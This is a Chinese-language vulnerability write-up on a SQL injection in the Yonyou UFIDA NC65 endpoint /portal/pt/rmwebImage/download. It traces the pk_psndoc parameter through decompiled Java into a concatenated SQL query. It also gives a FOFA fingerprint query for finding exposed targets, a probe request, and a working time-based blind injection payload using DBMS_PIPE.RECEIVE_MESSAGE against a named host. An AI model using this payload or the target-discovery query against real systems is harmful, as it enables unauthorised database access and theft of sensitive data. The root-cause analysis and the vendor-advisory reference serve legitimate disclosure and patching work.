漏洞简介
用友NC系统可利用/portal/pt/rmwebImage/download接口中的 pk_psndoc 参数实现sql注入,从而窃取服务器的敏感信息。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
本来是根据官方漏洞通告可知SQL注入点在 rmwebImage 接口

因此搜索 rmwebImage 方法的实现部分即可定位文件
modules/hrss/lib/pubhrss_pub/nc/bs/hrss/pub/action/RMWebImageAction.Java
package nc.bs.hrss.pub.action;
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Image;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.ServletOutputStream;
import javax.swing.ImageIcon;
import nc.bs.framework.common.RuntimeEnv;
import nc.bs.hrss.pub.ServiceLocator;
import nc.bs.hrss.pub.exception.HrssException;
import nc.bs.hrss.pub.tool.SessionUtil;
import nc.bs.logging.Logger;
import nc.itf.hi.IPsndocQryService;
import nc.itf.rm.IRMPsndocQueryService;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.vo.bd.pub.SexEnum;
import nc.vo.hi.psndoc.PsndocAggVO;
import nc.vo.hr.tools.formconfig.CodeGenUtils;
import nc.vo.pub.BusinessException;
import nc.vo.rm.psndoc.AggRMPsndocVO;
import nc.vo.rm.psndoc.RMPsndocVO;
import org.apache.commons.io.IOUtils;
import uap.lfw.core.ml.LfwResBundle;
@Servlet(path="/rmwebImage")
public class RMWebImageAction
extends BaseAction {
/*
* WARNING - Removed try catching itself - possible behaviour change.
*/
@Action
public void download() {
ServletOutputStream out = null;
try {
byte[] pngBytes = null;
byte[] pngBytesNew = null;
Object photo = null;
FileInputStream fileInput = null;
this.request.setCharacterEncoding("UTF-8");
String pk_psndoc = this.request.getParameter("pk_psndoc");
try {
IRMPsndocQueryService psndocQryServ = ServiceLocator.lookup(IRMPsndocQueryService.class);
AggRMPsndocVO aggRMPsndocVO = psndocQryServ.queryByPK(pk_psndoc);
Object object = photo = aggRMPsndocVO == null ? null : ((RMPsndocVO)aggRMPsndocVO.getParentVO()).getPhoto();
if (photo == null) {
String photoFileName = "photo_defult_male.png";
if (SessionUtil.getSessionBean() != null || aggRMPsndocVO != null) {
IPsndocQryService psndocQry;
PsndocAggVO psndocAggVO;
if (null != aggRMPsndocVO && null != aggRMPsndocVO.getParentVO() && null != aggRMPsndocVO.getPsndocVO().getSex() && SexEnum.SEX_FEMAIL.toIntValue() == aggRMPsndocVO.getPsndocVO().getSex().intValue()) {
photoFileName = "photo_defult_female.png";
}
if (aggRMPsndocVO == null && null != (psndocAggVO = (psndocQry = ServiceLocator.lookup(IPsndocQryService.class)).queryPsndocVOByPk(SessionUtil.getPk_psndoc(), false, true)) && null != psndocAggVO.getParentVO() && null != psndocAggVO.getParentVO().getSex() && SexEnum.SEX_FEMAIL.toIntValue() == psndocAggVO.getParentVO().getSex().intValue()) {
photoFileName = "photo_defult_female.png";
}
}
String strSrcDir = CodeGenUtils.buildFileURL((String)RuntimeEnv.getInstance().getNCHome(), (String[])new String[]{"hotwebs", "lfw", "frame", "device_pc", "themes", LfwRuntimeEnvironment.getThemeId(), "ext", "hrss", "pub", photoFileName});
File file = new File(strSrcDir);
fileInput = new FileInputStream(file);
pngBytes = new byte[fileInput.available()];
fileInput.read(pngBytes);
} else {
pngBytes = (byte[])photo;
}
pngBytesNew = RMWebImageAction.transPreviewPhoto(pngBytes, 150, 118);
this.response.setContentType("image/png");
out = this.response.getOutputStream();
out.write(pngBytesNew);
out.flush();
}
catch (HrssException ex) {
Logger.error((Object)ex.getMessage(), (Throwable)ex);
}
catch (BusinessException e) {
new HrssException(e).alert();
}
finally {
if (fileInput != null) {
fileInput.close();
}
}
}
catch (Exception e) {
throw new LfwRuntimeException(LfwResBundle.getInstance().getStrByID("c_pub-res", "0c_pub-res0051"), (Throwable)e);
}
finally {
IOUtils.closeQuietly(out);
}
}
pk_psndoc 参数直接代入 queryAggRMPsndocVO 函数,其实现逻辑如下
private AggregatedValueObject queryAggRMPsndocVO(String pk_psndoc) {
try {
IRMPsndocQueryService psndocQryServ = (IRMPsndocQueryService)ServiceLocator.lookup(IRMPsndocQueryService.class);
AggRMPsndocVO aggRMPsndocVO = psndocQryServ.queryByPK(pk_psndoc);
return aggRMPsndocVO;
} catch (BusinessException e) {
(new HrssException(e)).deal();
} catch (HrssException e) {
(new HrssException(e)).alert();
}
return null;
}
继续代入psndocQryServ.queryByPK 函数,其实现逻辑如下
public AggRMPsndocVO queryByPK(String pk_psndoc) throws BusinessException {
return (AggRMPsndocVO)this.getServiceTemplate().queryByPk(AggRMPsndocVO.class, pk_psndoc);
}
继续跟踪 getServiceTemplate().queryByPk 函数,这里注意 传入的第三个参数为 false
public <T> T queryByPk(Class<T> clazz, String pk) throws BusinessException {
return (T)this.queryByPk(clazz, pk, false);
}
public <T> T queryByPk(Class<T> clazz, String pk, boolean lazyLoad2) throws BusinessException {
try {
return (T)getMDQueryService().queryBillOfVOByPK(clazz, pk, lazyLoad2);
} catch (MetaDataException e) {
Logger.error(e.getMessage(), e);
throw new BusinessException(ResHelper.getString("6001frame", "06001frame0153"), e);
}
}
继续跟踪 getMDQueryService().queryBillOfVOByPK 函数
public <T> T queryBillOfVOByPK(Class<T> voClass, String billPK, boolean bLazyLoad) throws MetaDataException {
return (T)(new MDBaseDAO()).queryBillOfVOByPK(voClass, billPK, bLazyLoad);
}
pk_psndoc ==>pk ==>billPK 又代入 (new MDBaseDAO()).queryBillOfVOByPK 函数
public Object queryBillOfVOByPK(Class voClass, String billPK, boolean bLazyLoad) throws MetaDataException {
NCObject ncObj = (new VOQueryPersister(voClass.getName())).queryBillImp(billPK, bLazyLoad);
if (ncObj == null) {
return null;
} else {
return AggregatedValueObject.class.isAssignableFrom(voClass) ? ncObj.getContainmentObject() : ncObj.getModelConsistObject();
}
}
billPK 继续代入 queryBillImp 函数
protected NCObject queryBillImp(String billPK, boolean bLazyLoad) throws MetaDataException {
NCObject resNCObj = null;
try {
Object resVO = this.dao.retrieveByPK(billPK, this.ignoreDrEqual1);
if (resVO == null) {
return null;
} else {
resNCObj = NCObject.newInstance(this.relatedEntity, resVO);
if (!bLazyLoad) {
this.queryChildrenVOSByParentObjs(new NCObject[]{resNCObj}, bLazyLoad, (Map)null, (String)null);
}
return resNCObj;
}
} catch (Exception e) {
Logger.error("fail to query data", e);
throw new MetaDataException("operation failed** baseDao.retrieveByPK," + e.getMessage());
}
}
继续跟踪 retrieveByPK 函数
public Object retrieveByPK(String pkValue, boolean ignoreDrEqual1) throws MetaDataException {
if (this.metaCollection != null && this.metaCollection.size() != 0) {
String whereConStr = "";
whereConStr = (String)this.tableAliasMap.get(this.bean.getTable().getName()) + "." + this.bean.getTable().getPrimaryKeyName() + "='" + pkValue + "'";
if (ignoreDrEqual1) {
whereConStr = whereConStr + " and isnull(" + this.bean.getTable().getName() + ".dr,0)=0 ";
}
List<E> beanList = this.retrieveByClouse(whereConStr, (String[])null, false);
return beanList != null && beanList.size() > 0 ? beanList.get(0) : null;
} else {
return null;
}
}
public List<E> retrieveByClouse(String whereCondStr, String[] filtAttrNames, boolean ignoreDrEqual1) throws MetaDataException {
String resultSql = this.generateSql(whereCondStr, filtAttrNames, (String)null, (String)null, ignoreDrEqual1);
List<E> beanList = null;
try {
beanList = (List)(new BaseDAO()).executeQuery(resultSql, new BeanListFromColumnLableProcessor(Class.forName(this.bean.getFullClassName()), this.bean));
return beanList;
} catch (Exception e) {
throw new MetaDataException(NCLangResOnserver.getInstance().getStrByID("mdbusi", "mdMultiTableDAO-0001") + resultSql + "####type:" + this.bean.getName() + "#$#$#" + e.getMessage(), e);
}
}
至此,最终 pk_psndoc 参数拼接进SQL语句里,ignoreDrEqual1 在前面已经定义传入的为 false ,而 generateSql 函数的作用是组装SQL语句

最终调用 (new BaseDAO()).executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。
漏洞复现
可先通过如下请求来确定目标是否存在此接口及其响应,如果存在此模块,则会响应一个图片内容
GET /portal/pt/rmwebImage/download?pageId=login&pk_psndoc=1 HTTP/1.1
Host: nc65.mrxn.net
漏洞利用示例
GET /portal/pt/rmwebImage/download?pageId=login&pk_psndoc=1'+and+1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)-- HTTP/1.1
HTTP/1.1
Host: nc65.mrxn.net

成功延时 5 秒
参考
https://security.yonyou.com/#/noticeInfo?id=676

